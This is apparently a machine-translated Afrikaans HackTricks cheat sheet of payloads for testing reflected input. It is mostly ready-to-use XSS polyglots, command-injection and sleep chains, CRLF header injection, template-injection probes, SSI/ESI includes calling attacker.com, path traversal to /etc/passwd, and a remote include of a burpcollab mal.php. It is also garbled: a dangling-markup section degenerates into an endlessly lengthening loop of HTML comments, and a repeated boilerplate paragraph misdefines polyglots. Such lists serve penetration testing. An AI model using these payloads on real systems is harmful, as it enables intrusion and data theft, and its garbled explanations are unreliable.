34 KiB
Weerspieëlende Tegnieke - PoCs en Polygloths Spiekbrief
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hack-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Die doel van hierdie PoCs en Polygloths is om die toetser 'n vinnige opsomming te gee van kwesbaarhede wat hy kan uitbuit as sy inskrywing op een of ander manier in die respons weerspieël word.
{% hint style="warning" %} Hierdie spiekbrief stel nie 'n omvattende lys toetse vir elke kwesbaarheid voor nie, net 'n paar basiese een. As jy op soek is na meer omvattende toetse, besoek elke voorgestelde kwesbaarheid. {% endhint %}
{% hint style="danger" %} Jy sal nie inhoudstipe-afhanklike inspuitings soos XXE vind nie, omdat jy dit gewoonlik self sal probeer as jy 'n versoek vind wat xml-data stuur. Jy sal hier ook nie databasisinspuitings vind nie, omdat selfs as sommige inhoud weerspieël word, dit sterk afhang van die agterkantse DB-tegnologie en -struktuur. {% endhint %}
Lys van Polygloths
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
Kliëntkant Sjablooninspuiting
Basiese Toetse
{{7*7}}
[7*7]
Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
- HTML/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer en gebruikers se inligting te steel.
- PDF/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
- JPEG/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van lêerformate en die interpreteeringsproses vereis. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry.
{{7*7}}[7*7]
Opdraginjeksie
Basiese Toetse
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)
Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
- HTML/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
- PDF/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
- JPEG/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te identifiseer en te blokkeer. Dit is belangrik vir beveiligingspersoneel om bewus te wees van hierdie tipe aanvalle en om maatreëls te tref om hulle te voorkom.
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
CRLF
Basiese Toetse
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Hangende Opmaak
Basiese Toetse
<!-- HTML Comment -->
<!-- HTML Kommentaar -->
<!-- HTML Comment with dangling markup -->
<!-- HTML Kommentaar met hangende opmaak -->
<!-- HTML Comment with dangling markup and closing tag -->
<!-- HTML Kommentaar met hangende opmaak en sluitingsteken -->
<!-- HTML Comment with dangling markup and self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en self-sluitingsteken -->
<!-- HTML Comment with dangling markup and attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuut -->
<!-- HTML Comment with dangling markup and attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde -->
<!-- HTML Comment with dangling markup and attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
Lêerinsluiting/Paddeurloop
Basiese Toetse
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
Oopverwysing na 'n Ander Plek / Bedrog met Aanvraag aan die Bedienerkant
Basiese Toetse
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
ReDoS
Basiese Toetse
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
Bedienersy-insluiting/Kant-insluiting
Basiese Toetse
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
- HTML/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
- PDF/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
- JPEG/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van die verskillende lêerformate en die programmatuur wat dit interpreteer, vereis. Dit kan gebruik word om sekuriteitslekke uit te buit en toegang tot 'n stelsel te verkry.
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Bedienerkant Aanvraagvervalsigting
Dieselfde toetse wat gebruik word vir Oop Herlei kan hier gebruik word.
Bedienerkant Sjablooninspuiting
Basiese Toetse
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
- HTML/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
- PDF/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
- JPEG/JavaScript polyglote: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te identifiseer en te blokkeer. Dit is belangrik vir beveiligingspersoneel om bewus te wees van hierdie tipe aanvalle en om toepaslike maatreëls te tref om hulle te voorkom.
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
XSLT-bedienerkant-inspuiting
Basiese Toetse
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n lys van bekende polyglote aanvalle:
- HTML/JavaScript polyglote
- PDF/JavaScript polyglote
- ZIP/JavaScript polyglote
- PNG/JavaScript polyglote
- GIF/JavaScript polyglote
- JPEG/JavaScript polyglote
- SVG/JavaScript polyglote
- MP4/JavaScript polyglote
- MP3/JavaScript polyglote
- WAV/JavaScript polyglote
- PDF/Flash polyglote
- ZIP/Flash polyglote
- PNG/Flash polyglote
- GIF/Flash polyglote
- JPEG/Flash polyglote
- SVG/Flash polyglote
- MP4/Flash polyglote
- MP3/Flash polyglote
- WAV/Flash polyglote
Hierdie aanvalle kan gebruik word om verskeie tipes aanvalle uit te voer, soos XSS, CSRF, RCE en meer. Dit is belangrik om bewus te wees van hierdie aanvalstegnieke en om toepaslike maatreëls te tref om dit te voorkom.
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
XSS
Basiese Toetse
Reflected XSS
Reflected XSS is 'n tipe aanval waar 'n aanvaller skadelike kodering insluit in 'n HTTP-verkrygingsversoek wat deur die webtoepassing verwerk word en dan teruggestuur word na die gebruiker. Die aanvaller probeer om die gebruiker se webblaaier te laat uitvoer van die skadelike kodering, wat kan lei tot die uitvoering van skadelike aksies op die gebruiker se rekenaar.
Basiese Reflected XSS-toets
Om 'n basiese reflected XSS-toets uit te voer, volg hierdie stappe:
- Identifiseer 'n invoerveld op die teikenwebwerf waarin die ingevoerde data direk op die bladsy weergegee word.
- Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld
<script>alert('XSS')</script>
. - Stuur die HTTP-verkrygingsversoek na die webtoepassing.
- As die skadelike kodering suksesvol uitgevoer word, sal 'n pop-up venster met die teks "XSS" verskyn.
Reflected XSS met HTML-invoerveld
As die teikenwebwerf 'n HTML-invoerveld gebruik om data te vertoon, kan jy die volgende skadelike invoer probeer:
"><script>alert('XSS')</script>
Hierdie invoer sal die HTML-invoerveld se sluitende aanhalingsteken verbreek en jou in staat stel om skadelike kodering in te sluit.
Reflected XSS met URL-parameter
As die teikenwebwerf URL-parameters gebruik om data te vertoon, kan jy die volgende skadelike invoer probeer:
?search=<script>alert('XSS')</script>
Hierdie invoer sal die URL-parameter gebruik om die skadelike kodering in te sluit.
Stored XSS
Stored XSS is 'n tipe aanval waar 'n aanvaller skadelike kodering insluit in 'n databasis of 'n ander permanente stoorplek wat deur die webtoepassing gebruik word. Wanneer 'n gebruiker die betrokke data ophaal of vertoon, word die skadelike kodering uitgevoer en kan dit lei tot die uitvoering van skadelike aksies op die gebruiker se rekenaar.
Basiese Stored XSS-toets
Om 'n basiese stored XSS-toets uit te voer, volg hierdie stappe:
- Identifiseer 'n invoerveld op die teikenwebwerf waarin die ingevoerde data gestoor en later vertoon word.
- Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld
<script>alert('XSS')</script>
. - Stuur die invoerveld na die webtoepassing en verseker dat die data gestoor word.
- Haal die data op wat jy gestoor het en kyk of die skadelike kodering uitgevoer word.
Stored XSS met HTML-invoerveld
As die teikenwebwerf 'n HTML-invoerveld gebruik om data te stoor en te vertoon, kan jy die volgende skadelike invoer probeer:
"><script>alert('XSS')</script>
Hierdie invoer sal die HTML-invoerveld se sluitende aanhalingsteken verbreek en jou in staat stel om skadelike kodering in te sluit.
Stored XSS met kommentaarveld
As die teikenwebwerf 'n kommentaarveld gebruik om data te stoor en te vertoon, kan jy die volgende skadelike invoer probeer:
<!-- <script>alert('XSS')</script> -->
Hierdie invoer sal die skadelike kodering in 'n HTML-kommentaar verberg, maar dit sal steeds uitgevoer word wanneer die kommentaarveld vertoon word.
DOM-based XSS
DOM-based XSS is 'n tipe aanval waar die skadelike kodering direk in die Document Object Model (DOM) van die webblaaier ingesluit word. Die kodering word dan uitgevoer wanneer die webblaaier die betrokke DOM-elemente manipuleer.
Basiese DOM-based XSS-toets
Om 'n basiese DOM-based XSS-toets uit te voer, volg hierdie stappe:
- Identifiseer 'n invoerveld op die teikenwebwerf waarin die ingevoerde data gebruik word om die DOM te manipuleer.
- Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld
<script>alert('XSS')</script>
. - Kyk of die skadelike kodering uitgevoer word wanneer die betrokke DOM-elemente gemanipuleer word.
DOM-based XSS met URL-parameter
As die teikenwebwerf URL-parameters gebruik om die DOM te manipuleer, kan jy die volgende skadelike invoer probeer:
?lang=<script>alert('XSS')</script>
Hierdie invoer sal die URL-parameter gebruik om die skadelike kodering in te sluit en die DOM te manipuleer.
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
- HTML/JavaScript polyglote: Hierdie tipe polyglote bevat beide HTML- en JavaScript-kode. Dit kan gebruik word om kruisgebruikerskripsie (XSS) aanvalle uit te voer.
- PDF/JavaScript polyglote: Hierdie tipe polyglote bevat beide PDF- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n PDF-lêer in te sluit.
- JPEG/JavaScript polyglote: Hierdie tipe polyglote bevat beide JPEG- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n JPEG-lêer in te sluit.
Polyglote aanvalle is doeltreffend omdat dit die vertroue van die stelsel se veiligheidsmaatreëls misbruik. Dit is belangrik om bewus te wees van hierdie tipe aanvalle en om toepaslike maatreëls te tref om dit te voorkom.
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
